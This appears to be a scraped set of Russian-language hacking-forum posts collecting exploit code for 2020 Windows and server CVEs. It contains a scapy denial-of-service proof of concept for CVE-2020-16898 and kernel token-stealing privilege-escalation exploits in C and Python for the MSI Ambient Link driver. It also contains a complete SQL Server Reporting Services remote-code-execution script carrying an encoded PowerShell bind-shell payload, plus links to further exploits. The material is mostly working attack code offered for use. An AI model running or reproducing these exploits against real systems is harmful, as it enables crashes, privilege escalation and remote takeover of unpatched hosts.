[ GitHub - s1kr10s/CVE-2020-14882: CVE-2020–14882 by Jang

](https://github.com/s1kr10s/CVE-2020-14882)

CVE-2020–14882 by Jang. Contribute to s1kr10s/CVE-2020-14882 development by creating an account on GitHub.

github.com github.com

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F53cd19efe2d612675bc4323f06b4a39c6d511c96685000bc4732fd516aa3ad31%2FXTeam- Wing%2FCVE-2020-14882&hash=b4208668833ce997a06507403e435f5e&return_error=1)

[ GitHub - XTeam-Wing/CVE-2020-14882: CVE-2020-14882 Weblogic-Exp

](https://github.com/RedTeamWing/CVE-2020-14882)

CVE-2020-14882 Weblogic-Exp. Contribute to XTeam-Wing/CVE-2020-14882 development by creating an account on GitHub.

github.com github.com

RCE, Windows TCP/IP - packets ICMPv6, CVE-2020-16898
ID: 67686ba3b4103b69df379caf
Thread ID: 43273
Created: 2020-10-17T10:45:29+0000
Last Post: 2020-10-17T10:45:29+0000
Author: weaver
Prefix: DoS
Replies: 0 Views: 2K

PoC

Python:Copy to clipboard

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

Инфа:

__

[ Security Update Guide - Microsoft Security Response Center

](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2020-16898)

![portal.msrc.microsoft.com](/proxy.php?image=https%3A%2F%2Fportal.msrc.microsoft.com%2Fupdate- guide%2Ffavicon%2Ffavicon.svg&hash=3f87a07d58eee316a2b91056d8992890&return_error=1) portal.msrc.microsoft.com

CVE-2020-16898 – Exploiting “Bad Neighbor” vulnerability : pi3 blog

__

[ Beware the Bad Neighbor: Analysis and PoC of the Windows IPv6 Router

Advertisement Vulnerability (CVE-2020-16898) ](https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the- windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html)

This blog post analyzes the vulnerability known as "Bad Neighbor" or CVE-2020-16898, a stack-based buffer overflow in the IPv6 stack of Windows, which can be remotely triggered by means of a malformed Router Advertisement packet.

![blog.quarkslab.com](/proxy.php?image=https%3A%2F%2Fblog.quarkslab.com%2Fbeware- the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement- vulnerability- cve-2020-16898.html%2F.%2Fextras%2Ffavicon.png&hash=62810e76d8bb26669b6d7bc6622c8fa5&return_error=1) blog.quarkslab.com

LPE, Windows MSI Ambient Link driver, CVE-2020-17382
ID: 67686ba3b4103b69df379cb0
Thread ID: 42540
Created: 2020-09-27T08:45:44+0000
Last Post: 2020-09-27T08:45:44+0000
Author: weaver
Prefix: Local
Replies: 0 Views: 2K

Spoiler: Windows 10 - 1709

C:Copy to clipboard

#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>

#pragma warning( disable : 6387 )

VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {
          // SHELLCODE FOR 1709
          BYTE token_steal[] =
          "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
          "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
          "\x4D\x8B\x88\xe8\x02\x00\x00"              // mov r9, [r8 + 2e8h]      ; ActiveProcessLinks list head
          "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
          //find_system_proc:
          "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
          "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
          "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
          "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
          "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
          //found_system:
          "\x48\x8B\x41\x70"                          // mov rax, [rcx + 70h]     ; Offset from ActiveProcessLinks to Token
          "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
          //find cmd
          "\x48\x8B\x51\xF8"                          // mov rdx, [rcx-8]         ;ActiveProcessLinks - 8 = UniqueProcessId
          "\x48\x81\xFA\x99\x99\x00\x00"              // cmp rdx, 0d54h           ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
          "\x74\x05"                                  // jz found_cmd             ;YES - move on
          "\x48\x8B\x09"                              // mov rcx, [rcx]           ;NO - next entry in list
          "\xEB\xEE"                                  // jmp find_cmd             ;loop
          // found cmd
          "\x48\x89\x41\x70"                          // mov [rcx+70h], rax       ;copy SYSTEM token over top of this process's token
          "\x48\x31\xc9"                              // xor rcx rcx              ; clear some registers to avoid issues while unwinding the call stack
          "\x48\x31\xc0"                              // xor rax rax
          "\x48\x31\xf6"                              // xor rsi,rsi
          "\x48\x31\xff"                              // xor rdi, rdi
          "\x4D\x31\xC0"                              // xor r8, r8
          "\x48\xc7\xc1\xf8\x06\x15\x00"              // mov rcx, 0x1506f8        ; move original cr4 value into rcx
          "\xc3";                                     // ret                      ; RET

    token_steal[54] = pid;
    token_steal[55] = pid >> 8;

    LPVOID allocated_shellcode = VirtualAlloc(NULL,
        sizeof(token_steal),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memcpy(allocated_shellcode, token_steal, sizeof(token_steal));

    INT64 pop_rcx_offset = kernel_base + 0x15fc70;            // gadget 1 1709 - pop rcx ; ret
    INT64 mov_cr4_offset = kernel_base + 0x76a02;             // gadget 2 1709 - mov cr4, ecx ; ret
    INT64 wbindv_offset = kernel_base + 0x1175c0;;            // gadget 3 1709 - wbinvd; ret
    INT64 rcx_value = 0x506f8;                                // value we want placed in cr4 in order to disable SMEP
    INT64 rcx_old_value = 0x1506f8;                           // original cr4 value       
    INT64 ret = pop_rcx_offset + 1;                           // RET NOP

    puts("[+] SMEP disabled");
  
    BYTE  input_buff[136] = { 0 };
    memset(input_buff, '\x41', 64);
    memset(input_buff, '\x42', 8);                            // dummy RBP
    memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8);      // pop rcx
    memcpy(input_buff + 80, (PINT64)&rcx_value, 8);           // disable SMEP value
    memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8);      // mov cr4, rcx
    memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8);       // wbinvd; ret
    memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode
    memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8);     // mov cr4, rcx
    memcpy(input_buff + 120, (PINT64)&ret, 8);                // RETNOP to restore the stack
    memcpy(input_buff + 128, (PINT64)&ret, 8);                // RETNOP to restore the stack

    printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);

    DWORD lpBytesReturned = 0x0;
    BOOL triggerIOCTL = DeviceIoControl(hFile,
        IoControlCode,
        input_buff,
        sizeof(input_buff),
        NULL,
        0,
        &lpBytesReturned,
        NULL);

    if (!triggerIOCTL) {
        printf("[!] DeviceIoControl failed: %d\n", GetLastError());
    }
    else {
        puts("[+] SMEP re-enabled");
        puts("[+] Enjoy your SYSTEM shell\n");
    }

    system("start cmd.exe");
}

LPVOID GetBaseAddr(const char* drvname) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        char szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (strcmp(szDrivers, drvname) == 0) {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

HANDLE GetDriverHandle() {
    HANDLE hMsio;

    hMsio = CreateFileA("\\\\.\\MsIo",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hMsio == INVALID_HANDLE_VALUE) {
        printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    return hMsio;
}

int main() {
    puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");
    DWORD IoControlCode = 0x80102040;
    HANDLE hDevice = GetDriverHandle();
    INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");
    DWORD pid = GetCurrentProcessId();

    eopMsio(hDevice, nt, pid, IoControlCode);

    return 0;
}

Spoiler: Windows 7 x64 SP1

Python:Copy to clipboard

#!/usr/bin/python
# MSI Ambient Link Driver - Kernel Stack-based Buffer Overflow
# Reference: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities
# CVE-2020-17382
# Matteo Malvica - 28/09/2020
# www.matteomalvica.com
# Tested on Win7 x64 SP1

from ctypes import *
import time, struct, sys, thread, os

kernel32 = windll.kernel32
Psapi    = windll.Psapi
  
if __name__ == '__main__':

    if len(sys.argv) < 2:
        print("\n(!) ERROR:\t - missing argument -\n"+"-"*10)
        print("(*) USAGE:\t 'python %s <TARGET PID>" % sys.argv[0])
        print("(*) EXAMPLE:\t 'python %s 1984'\n"% sys.argv[0])
        sys.exit()
    else:
        target_pid = int(sys.argv[1])

    print("(*) MSI Ambient Link Stack-based Buffer Overflow")
    GENERIC_READ  = (1 << 30)
    GENERIC_WRITE = (1 << 31)
    FILE_SHARE_READ = 1
    FILE_SHARE_WRITE = 2
    OPEN_EXISTING = 3
    FILE_ATTRIBUTE_NORMAL = 0x80
    IOCTL_VULN    = 0x80102040 # triggers BoF

    # DosDevices\MSIO64 Device\MsIo
    DEVICE_NAME   = "\\\\.\\MsIo".encode()
    dwReturn      = c_ulong()
    out_size      = 0x48
    evil_output   = ""
    #driver_name   = 'MSIO64.sys'

    target_pid = struct.pack("<H",int(target_pid))

    # token stealing shellcode
    shellcode = bytearray(
    "\x65\x48\x8B\x14\x25\x88\x01\x00"
    "\x00\x4C\x8B\x42\x70\x4D\x8B\x88"
    "\x88\x01\x00\x00\x49\x8B\x09\x48"
    "\x8B\x51\xF8\x48\x83\xFA\x04\x74"
    "\x05\x48\x8B\x09\xEB\xF1\x48\x8B"
    "\x81\x80\x00\x00\x00\x24\xF0\x48"
    "\x8B\x51\xF8\x48\x81\xFA"+ target_pid+
    "\x00\x00\x74\x05\x48\x8B\x09\xEB"
    "\xEE\x48\x89\x81\x80\x00\x00\x00"
    "\x90\x90\xEB\xFE")

    '''
    [BITS 64]

    ; Windows 7 x64 token stealing shellcode
    ; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation

    start:
        mov rdx, [gs:188h]   ;KTHREAD pointer
        mov r8, [rdx+70h]    ;EPROCESS pointer
        mov r9, [r8+188h]    ;ActiveProcessLinks list head
        mov rcx, [r9]        ;follow link to first process in list
    find_system:
        mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
        cmp rdx, 4           ;UniqueProcessId == 4?
        jz found_system      ;YES - move on
        mov rcx, [rcx]       ;NO - load next entry in list
        jmp find_system      ;loop
    found_system:
        mov rax, [rcx+80h]   ;offset to token
        and al, 0f0h         ;clear low 4 bits of _EX_FAST_REF structure
    find_cmd:
        mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
        cmp rdx, 0d54h       ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
        jz found_cmd         ;YES - move on
        mov rcx, [rcx]       ;NO - next entry in list
        jmp find_cmd         ;loop
    found_cmd:
        mov [rcx+80h], rax   ;copy SYSTEM token over top of this process's token
    return:
        nop                  ; will be manually patched to 0xEBFE (jmp short 0)
    '''

    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)

    print("[*] Marking shellcode RWX...")
  
    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )

    if result != 0:
        print("[*] Successfully marked shellcode RWX.")
    else:
        print("[!] Failed to mark shellcode RWX.")
        sys.exit(1)


    payload = struct.pack("<Q",ptr)

    pointer =  ":".join("{:02x}".format(ord(c)) for c in payload)
    print("[*] Shellcode pointer is at: 00000000'%s." % ptr)
    buf = "A" * 0x48 + payload
    buf_length = len(buf)


    driver_handle = kernel32.CreateFileA(DEVICE_NAME, 
        0xC0000000,
        0,
        None,
        0x3,
        0,
        None)

    if driver_handle != -1:
        # We store values to overcome input checks
        print("(+) We got handle! Sending vulnerable IOCTL...")
        dev_ioctl = kernel32.DeviceIoControl(
        driver_handle,
        IOCTL_VULN,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )
    else:
        print("(!) Couldn't get a driver handle!")

Источник:
https://github.com/uf0o/CVE-2020-17382

Инфа:

MSI Ambient Link Multiple Vulnerabilities | CoreLabs Advisories

Vulnerabilities--Stack-based Buffer Overflow [CWE-121], Exposed IOCTL with Insufficient Access Control [CWE-782]--were found in the MsIo64 driver used by the service MSI AmbiLighter that could allow an attacker to execute code and escalate privileges.

![www.coresecurity.com](/proxy.php?image=https%3A%2F%2Fwww.coresecurity.com%2Fcore- labs%2Fadvisories%2Fmsi-ambient-link-multiple- vulnerabilities%2F&hash=1f4486a86feebda9893e826bb835f646&return_error=1) www.coresecurity.com

[ Kernel exploitation: weaponizing CVE-2020-17382 MSI Ambient Link driver

:: — uf0 ](https://www.matteomalvica.com/blog/2020/09/24/weaponizing- cve-2020-17382/)

Preamble - Why are drivers still a valuable target? Kernels are, no euphemism intended, complex piece of software and the Windows OS is no exception. Being one of the toughest to scrutinize due to its lack of source code and undocumented APIs, it is now being more documented thanks to the...

www.matteomalvica.com www.matteomalvica.com

RCE, Microsoft SQL Server Reporting Services 2016, CVE-2020-0618
ID: 67686ba3b4103b69df379cb1
Thread ID: 42215
Created: 2020-09-18T03:39:55+0000
Last Post: 2020-09-18T03:39:55+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Code:Copy to clipboard

# Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution
# Google Dork: inurl:ReportViewer.aspx
# Date: 2020-09-17
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR), Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL Server 2012 32-bit/x64 SP2 (QFE)
# Tested on: Windows 2016
# CVE : CVE-2020-0618
# Credit goes to Soroush Dalili
# Source:
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
# https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

#!/usr/bin/python
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
import argparse, requests, logging
from bs4 import BeautifulSoup
from sys import argv, exit, stderr, stdout

# to create a payload (default is bindshell on 0.0.0.0:65535):
# .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command..."


class Exploit:
    payload = '/wEy4hYAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAqAUvYyBwb3dlcnNoZWxsLmV4ZSAtZXhlYyBieXBhc3MgLW5vbmludGVyYWN0aXZlIC1ub2V4aXQgLXdpbmRvd3N0eWxlIGhpZGRlbiAtYyBpZXgoW3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6ZGVmYXVsdC5nZXRzdHJpbmcoW3N5c3RlbS5jb252ZXJ0XTo6ZnJvbWJhc2U2NHN0cmluZygnSkdFOVczTjVjM1JsYlM1dVpYUXVjMjlqYTJWMGN5NTBZM0JzYVhOMFpXNWxjbDAyTlRVek5Uc2tZUzV6ZEdGeWRDZ3BPeVJqUFNSaExtRmpZMlZ3ZEhSamNHTnNhV1Z1ZENncE95UmxQU1JqTG1kbGRITjBjbVZoYlNncE8xdGllWFJsVzExZEpHYzlNQzR1TmpVMU16VjhKWHN3ZlR0M2FHbHNaU2dvSkdnOUpHVXVjbVZoWkNna1p5d3dMQ1JuTG14bGJtZDBhQ2twTFc1bElEQXBleVJzUFNodVpYY3RiMkpxWldOMElDMTBlWEJsYm1GdFpTQnplWE4wWlcwdWRHVjRkQzVoYzJOcGFXVnVZMjlrYVc1bktTNW5aWFJ6ZEhKcGJtY29KR2NzTUN3a2FDazdKRzQ5S0dsbGVDQWtiQ0F5UGlZeGZHOTFkQzF6ZEhKcGJtY3BPeVJ3UFNJa0tDUnVLU1FvS0hCM1pDa3VjR0YwYUNrK0lqc2tjVDBvVzNSbGVIUXVaVzVqYjJScGJtZGRPanBoYzJOcGFTa3VaMlYwWW5sMFpYTW9KSEFwT3lSbExuZHlhWFJsS0NSeExEQXNKSEV1YkdWdVozUm9LVHNrWlM1bWJIVnphQ2dwZlRza1l5NWpiRzl6WlNncE95UmhMbk4wYjNBb0tUc05DZz09JykpKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL'
    timeout = 0.5
    cookies = {}
    params = {}

    def __init__(self, opt):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.username = '%s\\%s' % (opt.domain, opt.username)
        self.target = '%s%s' % (opt.target, opt.path)
        self.password = opt.password
        self.session = requests.session()
        self.redirect = opt.redirect
        self.proxies = {
            'http': 'http://%s' % opt.proxy,
            'https': 'http://%s' % opt.proxy
        } if opt.proxy != '' else {}
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        self.form = {
            '__VIEWSTATE': '',
            'NavigationCorrector$PageState': 'NeedsCorrection',
            'NavigationCorrector$ViewState': self.payload
        }
        if opt.debug:
            self.debug()

    def info(self, message):
        stdout.write('[+] %s\n' % str(message))
        return self

    def error(self, message):
        stderr.write('[-] error: %s\n' % str(message))
        return self

    def doGet(self, url, params=None, values=None):
        self.info('sending get request to %s' % url)
        try:
            return self.session.get(
                url=url,
                verify=False,
                allow_redirects=self.redirect,
                headers=self.headers,
                cookies=self.cookies,
                proxies=self.proxies,
                data=values,
                params=params,
                auth=HttpNtlmAuth(self.username, self.password)
            ) if self.username != '\\' else self.session.get(
                url=url,
                verify=False,
                allow_redirects=self.redirect,
                headers=self.headers,
                cookies=self.cookies,
                proxies=self.proxies,
                data=values,
                params=params
            )
        except Exception as err:
            self.error(err)

    def doPost(self, url, values=None, params=None):
        self.info('sending post request to %s' % url)
        try:
            return self.session.post(
                url=url,
                data=values,
                verify=False,
                allow_redirects=self.redirect,
                headers=self.headers,
                cookies=self.cookies,
                proxies=self.proxies,
                params=params,
                auth=HttpNtlmAuth(self.username, self.password)
            ) if self.username != '\\' else self.session.post(
                url=url,
                data=values,
                verify=False,
                allow_redirects=self.redirect,
                headers=self.headers,
                cookies=self.cookies,
                proxies=self.proxies,
                params=params
            )
        except Exception as err:
            self.error(err)

    def parsePage(self, content):
        self.info('parsing form values')
        soup = BeautifulSoup(content, 'lxml')
        for tag in soup.select('input'):
            try:
                self.form[tag['name']] = tag['value']
            except Exception as err:
                self.error(err)
        return self

    def debug(self):
        self.info('debugging enabled')
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def getForm(self):
        self.info('retrieving form values')
        resp = self.doGet(url=self.target)
        self.parsePage(content=resp.content)
        return self

    def exploit(self):
        self.info('exploiting target')
        resp = self.doPost(url=self.target, params=self.params,
values=self.form)
        self.info('received response %d' % resp.status_code)
        return self


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='CVE-2020-0618 SQL Server Reporting Services
ViewState Deserialization exploit',
        add_help=True
    )
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
        parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
        parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
        parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-redirect', action='store',
default=False, help='Follow redirects: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
        parser.add_argument('-path', action='store',
default='/ReportServer/pages/ReportViewer.aspx', help='Path to page')

        if len(argv) == 1:
            parser.print_help()
            exit(1)

        options = parser.parse_args()
        Exploit(opt=options).exploit()

    except Exception as error:
        stderr.write('[-] error in main %s\n' % str(error))


Regards,

West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC
LPE, Windows 10 x64 1909, CVE-2020-1247
ID: 67686ba3b4103b69df379cb2
Thread ID: 41711
Created: 2020-09-03T15:48:00+0000
Last Post: 2020-09-03T15:48:00+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

Windows 10 x64 1909 exploit (CVE-2020-1247)

OS Build 18363.719 • 10.0.18362.719 (WinBuild.160101.0800)
Out Of Bound Read and Write
Reported on 11-Mar-20 by [Yoav Alon](https://cpr- zero.checkpoint.com/researcher/Yoav%20Alon), [Netanel Ben-Simon](https://cpr- zero.checkpoint.com/researcher/Netanel%20Ben-Simon)
Upload Date: 03-Sep-20

__

CVE-2020-1247

Check Point Research Vulnerability Repository

cpr-zero.checkpoint.com

POC

https://cpr-zero.checkpoint.com/assets/attachments/cprid-2154/poc.c

Elevated privileges, Pulse Secure Windows Client 9.1.6 < 5.3 R70, CVE-2020-13162
ID: 67686ba3b4103b69df379cb3
Thread ID: 41688
Created: 2020-09-02T20:11:05+0000
Last Post: 2020-09-02T20:11:05+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

Pulse Secure Windows Client <9.1.6 (CVE-2020-13162) - exploit

Compile as 32-bit binary if you don't want to die!
Compiled with Visual Studio 2015 - Community Edition
